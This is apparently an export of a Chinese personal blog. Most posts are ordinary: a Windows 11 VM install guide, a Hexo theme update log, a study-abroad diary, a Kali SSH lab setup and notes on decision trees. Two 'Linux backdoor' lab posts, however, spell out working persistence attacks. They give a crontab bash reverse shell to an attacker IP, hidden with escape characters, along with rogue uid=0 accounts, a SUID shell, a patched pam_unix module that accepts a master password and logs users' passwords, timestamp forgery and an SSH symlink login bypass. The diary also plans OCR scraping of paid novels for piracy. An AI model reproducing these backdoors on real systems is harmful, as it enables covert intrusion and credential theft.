微软列出的最低要求包括兼容的 64 位双核处理器、4 GB 内存、64 GB 存储空间，以及支持安全启动的 UEFI 和 TPM 2.0。

确认配置后，先不要启动，下面还要添加 TPM。

# 添加 TPM

仅分配好内存和磁盘还不够。如果没有配置 TPM，安装时可能会出现 “这台电脑无法运行 Windows 11” 的提示：

我使用的 Workstation 需要先加密虚拟机，才能添加可信平台模块。保持虚拟机关机，打开设置，按下面的步骤操作。

进入 “选项 → 访问控制”，点击 “加密”，设置并保存密码。

这个密码用于解锁虚拟机，需要妥善保存。打开虚拟机时是否再次要求输入，还取决于是否保存了密码。

进入 “硬件 → 添加”，选择 “可信平台模块”，点击 “完成”。

另外，检查 “选项 → 高级” 中的固件设置，使用 UEFI 并启用安全启动。保存后再启动安装；如果仍提示不满足要求，就继续核对前面的处理器、内存等配置。相关配置可以对照 VMware 的 Win 11 安装说明。

# 启动并安装系统

虚拟机准备好后，就可以从镜像启动了。这里主要记录容易错过的启动提示，以及版本和磁盘的选择。

启动后，点击虚拟机窗口，让键盘输入进入虚拟机。看到 Press any key to boot from CD or DVD... 时及时按任意键。

如果错过这个提示，虚拟机会继续尝试其他启动设备。下图是转到 EFI 网络启动后超时的画面，并不是安装程序卡住了。重启虚拟机，再按提示从光盘启动即可。

按安装向导选择语言等选项，进入系统版本列表。我选择的是 “Windows 11 专业版”。

安装类型选择 “自定义：仅安装 Windows（高级）”。这是一个新建的空白虚拟机，需要全新安装。

选择虚拟磁盘上的未分配空间，点击 “新建”，按需要设置系统分区大小，再点击 “应用”。下图把整块 100 GB 虚拟磁盘分给了系统，没有另外划分 D 盘；安装程序还会自动创建所需的系统分区。

选中用于安装 Windows 的主分区，继续下一步，等待文件复制和系统重启。

按提示完成地区、键盘和账户等初始设置。

设置完成后，等待系统准备好桌面即可。

# 安装 VMware Tools

系统已经装好了，不过后面还要在宿主机和虚拟机之间复制命令、共享文件。为了方便这些操作，先安装 VMware Tools。

在 VMware 菜单中选择 “虚拟机 → 安装 VMware Tools”，将安装光盘挂载到虚拟机。

如果安装向导没有自动打开，就进入文件资源管理器，打开 VMware Tools 光盘，运行 setup64 。图中的光驱盘符是 D，实际以自己虚拟机里显示的盘符为准。

打开安装向导，按提示继续，在安装类型中选择 “典型”。

安装完成后，点击 “完成”，按提示重启虚拟机。

# Win 11 专业版激活

安装完成后，可以在 “设置 → 系统 → 激活” 查看状态。我的虚拟机这里显示 “未激活”：

未激活不等于系统会在某个固定期限后无法启动。因此这里只是为了去掉这个烦人的警告。
激活需要与所装版本匹配的许可证；如个人使用可以在这个页面输入产品密钥，或使用已有的数字许可证。

下面是使用 KMS 命令的操作记录。这种方式用于有相应批量授权和 KMS 服务的环境。具体使用的密钥不保证仍然有效。
具体条件见微软的 KMS 客户端密钥说明。

搜索 CMD，以管理员身份打开命令提示符。

安装 Win 11 专业版的 KMS 客户端密钥：

slmgr /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX

如果需要手动指定 KMS 服务器，使用 slmgr /skms <服务器地址> ，将占位内容换成所在组织提供的地址。截图保留了原操作中的地址，不作为现在可用的服务器推荐。

设置成功只说明地址已写入，并不代表服务器可以连接，也不代表已经激活。

输入 slmgr /ato ，请求激活。

最后回到设置页面确认状态。下面是原操作完成后的截图：

# 添加共享文件夹

VMware Tools 安装好后，就可以配置共享文件夹，直接访问宿主机中的文件。这和《Win 7 虚拟机配置记录》中的操作类似。

打开虚拟机设置，进入 “选项 → 共享文件夹”，选择 “总是启用”，再添加需要共享的宿主机目录。
回到 Win 11，在文件资源管理器地址栏输入 \\vmware-host\Shared Folders ，检查能否看到添加的目录。

如果想通过 “网络” 里的浏览列表查找，可以通过网络环境设置网络发现。下面是我使用的设置截图，但它不是直接访问 VMware 共享路径的必要条件，如果没有此需求则不需要照着在公用网络中开启网络发现。

为了以后打开方便，可以把共享目录映射成一个盘符。在 “此电脑” 的菜单中选择 “映射网络驱动器”。

选择盘符，在 “文件夹” 中填写共享路径，也可以点击 “浏览” 选择。

依次展开 vmware-host → Shared Folders → VMware共享 ，这里的 “VMware 共享” 是我设置的共享名称。

确认并完成后，“此电脑” 的网络位置中就会出现对应的驱动器，以后从这里访问共享文件即可。

ShokaX 主题更新记录

Mon, 20 Jan 2025 12:05:53 +0800

Shoka-X 主题做了很多更新，所以趁有空更新一下主题。

因为当初对这个主题自定义的内容不少，所以在这里记录一下主题更新的流程。毕竟最开始的时候，修改了不少这个主题的内容，还是很麻烦的。

为了以后的主题更新着想，能不修改就不修改主题的源文件。

PS：发现了插件功能 🎉，顺便把页脚的一言功能改一改，交个 issue

# 安装 Shoka-X

主题的改动不少，而且涉及到对主题文件的修改，因此新建一个文件夹，重新安装。

使用 ShokaX 即食罐头：

	git clone https://github.com/theme-shoka-x/shokax-can --depth=1
	cd shokax-can
	pnpm install
	pnpm dlx hexo s

这样就安装成功了，本地也能成功运行。

然后 theme 文件夹下创建主题链接：

ln -s ../node_modules/hexo-theme-shokax shokax

# 更改主题配置

PS：音乐播放器好像可以正常运作了，不需要再修改

# 更改 _config.yml

Site 描述
URL 和 permalink
category_map
deploy 信息
minify 配置，需要再安装 hexo-lightning-minify ，
Mac 环境本地运行环境时遇到报错：Error: Cannot find module '@minify-html/node-darwin-arm64'，但问题不大，我用 GitHub Action 部署博客，可以避免
algolia 搜索系统

# 复制 theme_config.shokax.yml

源文件来自主题文件夹： themes/shokax ，直接将 _config.yml 复制到根目录，重命名为 theme_config.shokax.yml。

更改 alternate 站点大标题
更改黑暗模式启动时间
更改 menu，增加开往的链接和图标
开启 waline 评论系统，加入 serverURL，添加 placeholder

# source 文件夹迁移

整个 source 文件夹可以直接覆盖。

# 新增 languages.yml

注意到可以不用通过更改语言文件来修改翻译和配置，在 source/_data/ 文件夹下新增 languages.yml 文件

各个语言下新增 menu 的 travellings 翻译，配置 “开往” 项目；

更改网站点击之后和隐藏之后的标题和相关的翻译；

# Iconfont 相关

我使用这个主题的时候，加入 Iconfont 项目是不现实的，因为 shoka 原项目停止更新，所以我对 shokaX 的原文件进行了一定程度的魔改。

但现在我看 shokaX 的项目文档时，发现了 Iconfont 项目的邀请链接，所以就不用重新修改了🎉。

加入项目之后，将 shoka 项目中的图标全部添加至自己的项目，然后将 _config.yml 中的 iconfont 设置替换为项目的在线链接中的字符串： //at.alicdn.com/t/c/font_<string>.css 。

往自己的项目中添加完图标后，访问在线链接 http://at.alicdn.com/t/c/font_<string>.css ，找到要添加的图标：

复制文件 themes/shokax/source/css/_iconfont.styl ，到 source/_data 文件夹下，在最后加上要添加的图标对应的代码

# 预加载地址设置

这对我来说是个新功能，尝试配置一下看看效果。

我主要使用 Cloudinary 作为图床，因此在 preConnect 设置项下增加链接：“https://res.cloudinary.com”

# SEO 优化

之前一直没做过这件事情，趁此机会配置一下

# 安装和制作插件

插件有两种：js 的需要将文件夹下载下来，npm 的只需要用包管理器安装就行。

# 统计网站访问量和访客量

是 npm 插件：hexo-shokax-busuanzi

既然可以用包管理器安装，那用 pnpm add 一下就行

# 插入存活时间

是 js 插件，安装相对复杂：

在 hexo 环境根目录创建 scripts 文件夹，把 js 文件放进去
把 views 文件夹放在 hexo 环境根目录下

# 制作一言页脚插件

因为之前我加入的一言功能需要修改 footer.pug 源文件，既然知道了有插件这个东西，那肯定要尝试制作一下。

PS：最终还是另做了一个整合的插件，毕竟页脚太多了看起来有点复杂。

Linux 后门实验记录（二）

Sun, 15 Dec 2024 23:36:35 +0800

整理好了搭环境的文章：LINUX 后门复现环境搭建

攻击者在通过各种手段获得服务器的控制权之后，通常会在服务器上布置一些脚本、进程、链接，即所谓的后门。其目的是，方便攻击者以后对该服务器进行持久性的攻击。

其中，在 linux 服务器上留后门的常见技术，本文中会提及如下几种：

SSH 公钥免密
crontab 后门
...

# SSH 公钥免密

简而言之，SSH 公钥免密就是，将攻击者生成的 ssh 公钥写到目标服务器的 /root/.ssh/authorized_keys 中（手动在目标机上完成注册），
然后攻击者就可以利用对应的私钥免密登录。

实现：

使用 Xshell 的工具 -> 新建用户密钥生成向导，完成 ssh 公钥、私钥的生成：
（填入密码)
保存生成的公钥文件（id_rsa_2048.pub），传到目标服务器上，
寻找 authorized_keys 文件，命令 find -name authorized_keys ，
如果没有，就通过命令 touch /root/.ssh/authorized_keys 创建。
命令 ssh-keygen -t rsa 开启免密登录功能，
通过命令 cat 公钥路径 >> /root/.ssh/authorized_keys 把公钥写入到 authorized_keys，完成注册
修改文件权限 chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
攻击者使用 Xshell 生成的私钥和之前填写的密码，登录目标服务器

# crontab 后门

Crond 服务启动后，会定期（默认一分钟检查一次）检查它的配置文件中，是否有要执行的任务。
如果有，就会根据预先设定的定时任务规则自动执行该任务。
crontab 是用来定期执行程序的命令，
我们可以通过 crontab 命令制造定时后门：
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/192.168.158.132/2333;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

解释：
echo '*/60 * * * *' ：设定每 60 分钟执行一次；
exec 9<>/dev/tcp/192.168.158.132/2333 ：利用 bash 提供的功能，对 /dev/tcp/ 开头的字符串进行解析，指定服务器 IP 为：192.168.158.132（攻击机 IP），端口号为 2333，指定描述符为 9，建立网络连接；
exec 0<&9;exec 1>&9 2>&1; ：文件描述符 0：stdin，1：stdout，把标准输入输出都重定向到描述符 9；
/bin/bash --noprofile -i ：开一个 Shell。
其实就是利用 Bash 反弹一个 Shell 到指定的攻击者 IP

这里需要 Bash 支持网络重定向，是否支持取决于所用 Bash 的编译配置。

隐藏：
但是这样的一个后门，管理员直接执行 crontab -l 就能看到我们设定的定时任务。

这个命令其实是在读取 /var/spool/cron/crontabs/root 文件。
所以，我们可以利用 cat 的一个缺陷，使用一些转义字符，比如 \r 回车符 \n 换行符 \f 换页符，来隐藏我们不想让管理员看到的命令：
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.158.132/2333;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for whoami %100c\n")|crontab -
但是，若是使用 cat -A /var/spool/cron/crontabs/root 还是可以看到我们隐藏的东西的。

留学近况

Tue, 05 Nov 2024 11:22:07 +0800

简单说一下吧，USYD，Master of Computer Science (adv.)，目前是 24S2 末尾，临近考试。

# 学习

学习时间很紧张，这边注重实践，虽然 report 也不少。

平时课程分为 Lecture 和 Tutorial，Lec 可以理解为大课，一个教授对很多学生讲，Tut 可以理解为组织很小的偏实践课，一般是一个 tutor 对十来个学生。

作业很多，assignment 一个接一个，通常让我很头疼，尤其是有些课每周还有固定的任务，平时闲不下来，双休日还得余出一天写作业。

但收获也很多，虽然有不少对提升学识毫无意义的 report，但也起码提升了我的英语写作技巧。何况 report 终究是少数，不少 assignment 还是非常有趣，又有相当的指导作用的。

# 生活

和国内相比，物价基本 × 5，虽然有些东西价格差不多，但大部分都是如此。

普通的一天，如果只考虑吃，核算下来大概花费 150+ 人民币，也不是不能接受。

就是房租过于离谱，一周 2100，一个月 8400，这基本是悉尼这边的最低价了，再低就得抢为数不多的学校宿舍，但也要一周 1600 左右，还是太贵了。

# 娱乐

巫师三打完本体和石之心就电子阳痿了，甚至黑神话买了都还没玩...

但巫师三真的是一款好游戏，虽然是十年前的，画质材质比不上现在的游戏，但无论是剧情还是机制，或者战斗系统，都非常有趣。尤其是剧情，不同的选择会带来很多的可能性，头一回，我体会到了什么是网状的剧情结构，而且每个小支线，小委托都很有意思。

哦，当然还有不得不提一嘴的昆特牌🐶。

难怪赛博朋克 2077 一直被吐槽有失蠢驴的水准，虽然也有发售时 bug 满天飞的缘故，但有一说一，即使现在的 bug 情况已经很不错了，剧情上真的和巫师三比不了一点。
（往日之影还不错）

# 暑期的计划

主体计划是跟一个学校的项目，但应该还是轻松的（相比现在来说）

所以我还准备利用其他时间，写一些我想写的代码。

列在这里的，主要是学习或是生活中，突然蹦出来的一些想法，且经过简单的研究，大概是存在实现可能性的。按兴趣从高到低排序：

赛博朋克 2077 的 Mod 开发
巫师三中的希里，曾经穿越到过 CP2077 的世界，我的想法是结合一些已有的 mod，整合出一个希里的 cosplay 集合
- Always First Equip 改进：
  这个 mod 虽然高度可定制化，但还是不符合我的设想，最好是能实现类似 VALORANT 里的武器验视动作的效果
- 主页菜单背景替换。
  之前有个 mod，但因为进入了 2.0 版本，加入了往日之影，现在已经几乎失效了，我会尝试修复。
- 希里的服饰
  已经存在类似的 mod，但是第一人称视角下，手部的附着存在相当大的问题，尝试修复。
- 希里的剑
  在已有的 mod 下改进武器参数。想要在困难难度下依旧能玩得爽一点，还是需要一些加成的🐶。
- 希里有个标志性的技能，就是按空格突进，在 2077 中有类似的技能。但过场 CG 里其实还可以实现空间转移（这个功能仅仅还只是设想，感觉难度太大）
游戏存档管理 -> mcthesw/game-save-manager
之前在该项目早期，我提交过几个功能，现在它已经有 600+ 的 star 了。但看 Issue 里还是有不少人提出改进和新功能，我想看看能不能继续做 Contribution。
小说 OCR
~~起点小说付费，好像改进了算法~~。网上的大部分网站，使用爬虫已经爬不太到了，但终究没办法阻止 OCR。
本机截屏付费章节是不被 App 允许的，但可以用安卓模拟器。用脚本实现模拟点击翻页，然后 Windows 截取固定大小的屏幕，进行 OCR。这样只要有一个人订阅了章节，就可以让别人获得盗版。
字幕翻译：
可以和 Windows 自带的 Live Caption 功能集成，需要调用 Windows API，还有翻译源的 API。
GitHub 上找到了类似功能的项目：SakiRinn/LiveCaptions-Translator，但实际测试中功能很不完善，可以研究然后改进。

Linux 后门实验记录（一）

Sun, 13 Oct 2024 23:35:57 +0800

整理好了搭环境的文章：LINUX 后门复现环境搭建

其中，在 linux 服务器上留后门的常见技术，本文中会提及如下几种：

增加用户账号
破解用户密码
放置 SUID Shell
PAM 后门
SSH 软链接后门
...

# 增加用户账号

前提：getshell，已获得服务器的 root 权限

# uid=0 用户可远程登陆

可以通过下面这一行指令，增加一个超级用户账号：
echo "用户名:x:0:0::/:/bin/sh" >> /etc/passwd
然后通过： passed 用户名 命令，修改所设超级用户的密码

# 实现：

输入命令：

（增加超级用户 backdoor）
然后通过 ssh 登录 backdoor 账户：

可以看到已经是 root 权限了：

原理：给服务器增加一个 ID 为 0 的账号（因为 root 的 ID 为 0）
我们可以通过 vim /etc/passwd 命令打开 passwd，所有用户名称与 ID 的对应关系都保存在这里。
在文件开头，能看到 root:
在文件的最后，我们能够找到刚刚添加的账号（backdoor）
已禁止 uid=0 用户远程登陆

管理员可以禁止 root 用户通过 ssh 的方式，远程登录服务器。

禁止方法如下：
（首先保证拥有一个普通用户，否则禁用之后就无法远程登陆了）
vim /etc/ssh/sshd_config 打开 sshd_config 文件
找到 PermitRootLogin ，改为 no
然后重启 ssh 服务
此时再通过 xshell 远程登录 root 账户，就会被拒绝：

如果遇到了禁用 uid=0 账户远程登录的情况，也可以增加一个普通用户：
echo "用户名:x:1000:1000::/:/bin/sh" >> /etc/passwd
道理都是一样的，可以观察到，我们使用的普通用户的 ID 就是 1000

# 无交互情况下添加账户

所利用漏洞的不一样，会导致攻击者可能面临无法交互、没有回显的情况，
在这种情况下，使用前两种方法是困难的，先给出如下的方法：

命令 useradd 用户名 -u 0 -o -g root -G root 以及 echo "密码" | passwd --stdin 用户名 ，
若服务器基于 Debian，即不能使用 --stdin 操作的话，第二条改用命令 echo 用户名:密码 | chpasswd ，或者粗暴地直接用 \n 回车（因为 passwd 是需要输入两次密码的）： echo "密码\n密码" | passwd 用户名

第一个命令：使用 useradd 命令增加用户，-u 设置用户 id 为 0（root 用户），-g-G 设置新用户所在群组及附加群组为 root。如果禁止 root 远程登录，更改对应的参数就行。
第二个命令：添加密码（linux 中新创建的用户是被锁定的，需使用 passwd 命令设置密码，才能投入使用）

#

但是这种增加用户账号的方法，会很轻易地被管理员发现

# 破解用户密码

如果我们获得了某些用户的密码，那下次自然就可以直接登录了。

linux 在 passwd 中存储了用户的信息，但是 passwd 文件允许所有用户读取，所以若是用户密码也存放在 passwd 中，将导致用户密码泄露。
因此 Linux 将密码信息单独存放到 shadow 文件中。shadow 只有 root 用户拥有读权限，其他用户没有任何权限，从而保证用户密码的安全性。

但是，如果获得 shadow 文件（ /etc/shadow ），你会看到里面的密码是这样的：
当然是密码的 hash 值，不会让你直接看到的密码的明文

但是，对于那些薄弱的密码，我们可以通过 John the Ripper 弱口令扫描工具（Kali 自带）进行破解。使用方法如下

使用 unshadow 命令组合 passwd 和 shadow，获得 test： unshadow /etc/passwd /etc/shadow > test
字典破解：使用自带的字典（usr/share/john/password.lst）：命令 john test
使用自己的字典：命令 john --wordlist=字典路径 test

# 放置 SUID Shell

前提：getshell，已获得服务器的 root 权限

SUID Shell 是一种能以 shell 拥有者权限运行的 shell，
这个后门其实就是更改了，拥有者为 root 的 shell 的属性（rwsr-xr-x）

# 命令

root 下执行命令：
cp /bin/bash .shell
chmod u+s .shell
解释：

复制 /bin/bash 为当前目录下名为 .shell 的文件，
更改 .shell 文件权限，设置为 u+s 后，其他用户都享有文件拥有者的权限（而当前为 root，即享有 root 权限）

下次如果从普通用户登录服务器，就能用命令： /.shell ，运行这个 shell，从而获得 root 权限。
但是，bash2 针对 SUID Shell 做了一些护卫措施，所以如果使用上述命令运行 .shell ，只能当你在本地下（非远程连接）才能让 shell 的权限升为 root ，若是在远程运行，则还是原来的权限不变。

对于这种情况，需要使用这个命令运行： /.shell -p ，这样在远程下也能获得 root 的 shell 了 >

# 实现

whoami 为 root

# PAM 后门

# PAM 简介：

在 Linux 中执行某些程序时，执行前要先对启动它的用户进行认证，比如我们经常使用的 su 命令。
但是，实际工作时，我们常常得用不同的认证机制去认证不同程序的账号口令，这就会导致一个主机上有多个不同的认证系统，这显然是不合理的。
所以就有了 PAM 机制。PAM 可以说是一套 API，使管理员可以随意地选择程序的认证方式。
PAM 使用目录 /etc/pam.d/ 下的配置文件，即对应着不同的认证方式。程序调用目录下相应的配置文件，从而调用本地的认证模块（ /lib/security/ ）。

# 后门思路：

我们登录的时候，也是用 PAM 模块来验证我们的密码是否正确的。
所以，我们可以从源码中找到 PAM 的传统密码验证模块（pam_unix.so），修改 PAM 的验证逻辑，达成不去跟 shadow 里的密码校验，而是直接返回验证正确的效果，
然后编译出包含后门的 so 文件，替换原模块。

# 实现：

直接使用脚本：https://github.com/litsand/shell/blob/master/pam.sh
手动更改

# 下载 PAM 源码

首先确认 PAM 版本：

Debian： dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
Centos： rpm -qa|grep pam

以我的 kali 为例，使用 dpkg -s libpam-modules | grep -i version | cut -d' ' -f2 ，得到输出：1.4.0-11
去 http://www.linux-pam.org/library/ 或者 GitHub 发布稳定版的地址 https://github.com/linux-pam/linux-pam/releases，下载到自己版本的源码：
下载： wget https://github.com/linux-pam/linux-pam/releases/download/v1.4.0/Linux-PAM-1.4.0.tar.xz
解压： tar -xvf Linux-PAM-1.4.0.tar.xz

# 修改源码

效果 1：自定义密码添加：

修改解压目录下的 /modules/pam_unix/pam_unix_auth.c 文件：
第 173 行下加入： if (strcmp(p,"密码")==0) {return PAM_SUCCESS;}

很简单的代码：当输入的 p 和我们设定的 "密码" 相同的时候，返回直接验证成功。

编译：

确保有安装 gcc 编译器和 flex 库，
编译命令如下：

cd Linux-PAM-1.4.0
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

未防止修改的 so 不正确，先找到原文件备份一个：

命令 find / -name "pam_unix.so" （找原文件地址）
我原文件的地址在：/usr/lib/x86_64-linux-gnu/security/pam_unix.so
编译出的新文件在：root/Linux-PAM-1.4.0/modules/pam_unix/.libs/pam_unix.so
cp /usr/lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak （备份在 /tmp/pam_unix.so.bak）
cp /root/Linux-PAM-1.4.0/modules/pam_unix/.libs/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so （复制新 so 文件，覆盖原文件）

尝试用设定的密码登录：

（注意登录的需要是已有账户） ssh 已有账户名@192.168.158.128
用自定义的 hello 密码，登录 root 成功：

不足 & 优化：

若是管理员查看登录日志：
实时查看最后 10 条 tail -f -n 10 /var/log/auth.log （视具体情况不同，日志也有可能是 /var/log/secure）
第一条是从 ssh 输入正确密码登录的日志，第二条是输入自定义的密码登陆的日志，
可以看到，第二条会比第一条多出一行记录，报告验证失败，
这是因为，在我们添加语句的前一行，先使用了 _unix_verify_password 函数进行了验证：
既然如此，我们可以找到函数 _unix_verify_password 的位置，在它验证之前，插入之前的那行代码，这样就能够避免验证密码报错。
更改文件的路径为 Linux-PAM-1.4.0/modules/pam_unix/support.c，如下图：
重新编译覆盖之后，ssh 远程登录，查看日志：
可以看到，第三条就和第一条一样了。
若是管理员查看文件修改的时间：
可以用 touch -r 命令修改新文件的时间：
touch pam_unix.so -r /tmp/pam_unix.so.bak （改为备份文件的时间）
修改前后用 stat pam_unix.so* 命令查看结果如下所示：
（仅更改了两项，可能还是会被管理员察觉，但是通过 -t 可以设定档案的时间记录)

效果 2：记录通过 ssh 登录的用户密码：

同样修改解压目录下的 /modules/pam_unix/pam_unix_auth.c 文件：
在第 173 行下加入，如下图所示：

每次有用户登录的时候，将用户名 name 和密码 p 保存在 /tmp/.record_pwd 文件中

保存 -> 编译 -> 覆盖 -> 从 ssh 用正常密码登录几次账号，提供记录的数据 -> 查看保存的文件：
cat /tmp/.record_pwd

# SSH 软连接后门

前提：

getshell，已获得服务器的 root 权限，
ssh 配置中开启了 PAM 进行身份验证（验证 PAM 是否开启： cat/etc/ssh/sshd_config|grep UsePAM ）一般默认开启
防火墙关闭，或者开放了使用的端口号

# 原理：

软连接简介：
软链接，就是一个指向另一个档案位置的，特殊的档案。
软连接以路径的形式存在。类似于 Windows 操作系统中的快捷方式。
若 ssh 配置中开启了 PAM 身份验证机制，PAM 模块会搜寻相关设定文件（一般在 /etc/pam.d/ ）。
而在 /etc/pam.d/su 文件中启用了 pam_rootok.so 模块。
该模块可以使 root 用户直接通过身份认证，不需要输入密码。
当我们指定的端口的软链接文件为 / 路径 /su 的时候，若从该端口连接 ssh，PAM 就会去路径 /etc/pam.d/ 下找到对应的配置文件，即 /etc/pam.d/su ，
然后使用 su 中启用的 pam_rootok.so 模块，实现无密登录。

# 创建 root 账户

创建 ssh 软链接： ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=端口号 （端口号确保可用）

这条命令，先是使用 ln 强制 (-f) 创建，路径为 /usr/sbin/sshd 文件的软连接 (-s)，并保存为 /usr/local/su 文件（路径随意、文件名可变），然后把 su 文件（sshd）连到指定的端口

其中，创建的软连接名字虽然可变，但是也不能随便命名。可用的名字可以通过命令： find /etc/pam.d|xargs grep "pam_rootok" 查看：

# 实现：

这时候就能从 2333 端口，用 root 身份登入了（ ssh root@192.168.158.128 -p 2333 ）：
这里使用 cmd 演示：

# 创建其它账户

PAM 中事先是没有供其他用户免密登录的配置文件的，所以，要事先使用下面的命令，用 echo 把引号内的内容保存到 /etc/pam.d/用户名 的文件里面，让以你的用户名为文件名的配置文件使用 pam_rootok.so 模块。

echo " 
 #%PAM-1.0
 auth       sufficient   pam_rootok.so
 auth       include      system-auth
 account    include      system-auth
 password   include      system-auth
 session    include      system-auth " >> /etc/pam.d/已有的用户名

现在可以看到，在 /etc/pam.d/ 文件夹下出现了一个，以你设定的用户名为名的配置文件（这里为 kali）：

现在再执行 find /etc/pam.d|xargs grep "pam_rootok" 命令查找，可以看到，可用的名字已经多了一个 kali 了：

现在再使用命令： ln -sf /usr/sbin/sshd /usr/local/kali;/usr/local/kali -oPort=端口号 创建软链接，就能达到普通用户免密登陆的效果

实现：

Linux 后门实验环境搭建

Sun, 15 Sep 2024 21:36:37 +0800

这次用 Kali Linux 虚拟机作为实验服务器，在 Windows 主机上通过 Xshell 建立 SSH 连接，为后面的 Linux 后门实验准备环境。这里先记录连接过程，以及我遇到的几个问题。

本文的操作和截图来自 2022 年使用的 Kali 2022.1 与 Windows 下的 VMware。其他版本的界面、服务状态和 SSH 配置可能不同，下面的旧镜像链接留作版本对照。

# VMware 创建 Kali 虚拟机

我使用的是 VMware，创建虚拟机的过程就不展开了。如果不想从 ISO 镜像开始安装，可以直接下载 Kali 官方预配置的虚拟机镜像。

新建环境可以从 Kali 官方下载页选择当前版本。本文后面的操作以 Kali 为准。

# Xshell 安装和会话创建

Xshell 的安装过程这里不展开，可以从 NetSarang 官网获取安装包。

打开 Xshell，选择 “文件 → 新建”，创建一个 SSH 会话：

会话名称可以自己填写，协议选择 SSH。如果没有修改 SSH 服务的监听端口，端口号就填 22；主机地址则填写 Kali 虚拟机的 IP。

启动虚拟机，在终端中输入 ip addr 查看网卡地址。下面是我使用 ifconfig 得到的结果；如果系统没有安装这个命令，使用 ip addr 即可。

图中的地址是 192.168.158.128，把它填进会话的主机地址一栏。这个地址要以自己虚拟机的实际地址为准，不要填回环地址 127.0.0.1 。

# Kali 配置 SSH 连接（问题汇总）

创建完会话后，我还没有顺利连上，Xshell 显示了连接失败：

服务没有启动、网络不通和认证失败是不同的问题，下面是排查的记录。

# SSH 是否开启

先在 Kali 中查看 SSH 服务状态，如果还没有运行，再启动它：

	sudo systemctl status ssh
	sudo systemctl start ssh
	sudo systemctl status ssh

这是使用 service ssh status 查看状态的截图，显示 active (running) 说明服务正在运行。

如果希望虚拟机开机后自动启动 SSH，可以执行：

sudo systemctl enable ssh

不需要开机自启时，用 sudo systemctl disable ssh 取消。启动服务后可以直接重新连接，不需要为了这一步重启虚拟机。

# 能否 ping 通

如果服务已经启动，Xshell 仍然连不上，可以先在 Windows 主机上 ping 虚拟机的 IP，看看网络是否能通：

ping 不通不一定就是 SSH 的问题，也可能是地址、虚拟网卡或防火墙的设置。我遇到的是 VMnet8 的连接问题。

打开 VMware 的 “编辑 → 虚拟网络编辑器”，点击 “更改设置”，选中 VMnet8，勾选 “将主机虚拟适配器连接到此网络”。

如果已经勾选，可以先取消勾选并应用，再重新勾选并应用，重新启用宿主机与虚拟网络的连接。

这样处理后就能连上了。不过重启电脑后还得再做一遍，确实有点麻烦 (￣_￣|||)

我也尝试过配置端口转发，但没有解决这个问题。Windows 宿主机可以通过 VMnet8 虚拟适配器直接访问同一私有网络里的 Kali；外部机器要主动访问 NAT 内的服务时，才需要考虑端口转发。具体网络模式可参考 VMware 官方说明。

这个问题还没有彻底解决，重新勾选只是临时处理。后续还需要检查 VMnet8 适配器、双方的子网地址和防火墙规则。

# SSH 服务拒绝密码

网络连通后，我又遇到了另一个提示：

这里使用 root 登录，提示 “SSH 服务器拒绝了密码，请再试一次”。确认用户名和密码无误后，还需要检查账户状态和服务端的认证设置。

我修改了服务端的 /etc/ssh/sshd_config ，配置如下：

图中的 PermitRootLogin yes 允许 root 登录。普通账户无需修改这一项，其他配置也只需按需要调整，不必全部取消注释。各项含义可以查看 OpenSSH 配置手册。

修改配置后，先检查语法，再重启服务：

	sudo /usr/sbin/sshd -t
	sudo systemctl restart ssh

语法检查通过后再重启 ssh 服务，不需要重启虚拟机。

重新连接 Xshell，成功！

机器学习杂记

Sun, 16 Jun 2024 02:14:36 +0800

# 决策树

（Decision Tree）

一种对实例进行分类的树形结构，通过多层判断区分目标所属类别

本质：通过多层判断，从训练数据集中归纳出一组分类规则

优点：

计算量小，运算速度快
易于理解，可清晰查看各属性的重要性

缺点：

忽略属性间的相关性
样本类别分布不均匀时容易影响模型表现

# 求解方法

问题核心：属性选择（每一个节点，应该选用哪个属性）

信息熵：

熵是衡量数据集纯度的一个指标（也是度量不确定性的指标）。
对于一个类别变量 C 的数据集 D, 其熵定义为：
$Entropy(D)=-\sum_{i=1}^{n_c}P(c_i)\log_2P(c_i)$
其中， $n_c$ 是类别 C 的个数， $P(c_i)$ 是类别 $c_i$ 在数据集 D 中出现的概率。

纯度：

某次分类中，正确的被分类样本占所有样本的比率。

关键步骤：

属性选择：
在每个节点上，算法会选择一个最优属性作为分割标准。这一过程可以通过计算不同属性的信息增益（ID3）、信息增益比（C4.5）或基尼不纯度（CART）来进行。

信息增益：衡量属性 A 对数据集 D 划分后信息熵减少的程度，表示为：
$Gain(D,A)=Entropy(D)-\sum_{v=1}^V\frac{|D_v|}{|D|}Entropy(D_v)$
其中， $V$ 是属性 $A$ 的不同取值个数， $D_v$ 表示在属性 $A$ 上取值为 $v$ 时数据集 $D$ 的子集， $|D_v|$ 和 $|D|$ 分别表示子集和总数据集的样本数量。
信息增益比：信息增益与属性固有值的熵之比（因为 ID3 偏向于选择具有较多属性值的属性，可能导致过拟合）。
$Gain_{ratio}(D,A) =\frac{Gain(D,A)}{H_A(D)}$
$H_{A}(D) =-\sum_{v=1}^V\frac{|D_v|}{|D|}log_2\frac{|D_v|}{|D|}$
其中， $H_{A}(D)$ 为属性 A 的固有值（该属性在数据集中包含的信息量）。
基尼不纯度：数据集中随机抽取两个样本，它们属于不同类别的概率。

$Gini(D)=1-\sum_{i=1}^k{(p_i)^2}$

其中， $p_i$ 是样本属于第 $i$ 类别的概率。

分割数据集：
根据所选属性的最佳分割点将当前节点下的样本划分为若干子集，并为每个子集生成新的分支节点。
递归建树：
对于每个新生成的子集节点，重复上述属性选择和分割的过程，直至达到停止条件（如所有样本属于同一类、没有剩余属性可分割或者达到预设的最大深度等）。
停止条件：
叶节点的最少样本数量 / 最大树深 / 叶节点的最大纯度
（这会导致某个叶节点中包含多类别的样本：取数量更多的作为叶节点的类别；若并列则随机选一个）
剪枝处理：
决策树容易过拟合，为了提高泛化能力，通常需要对生成的树进行剪枝操作，移除那些可能带来过拟合影响的复杂分支。
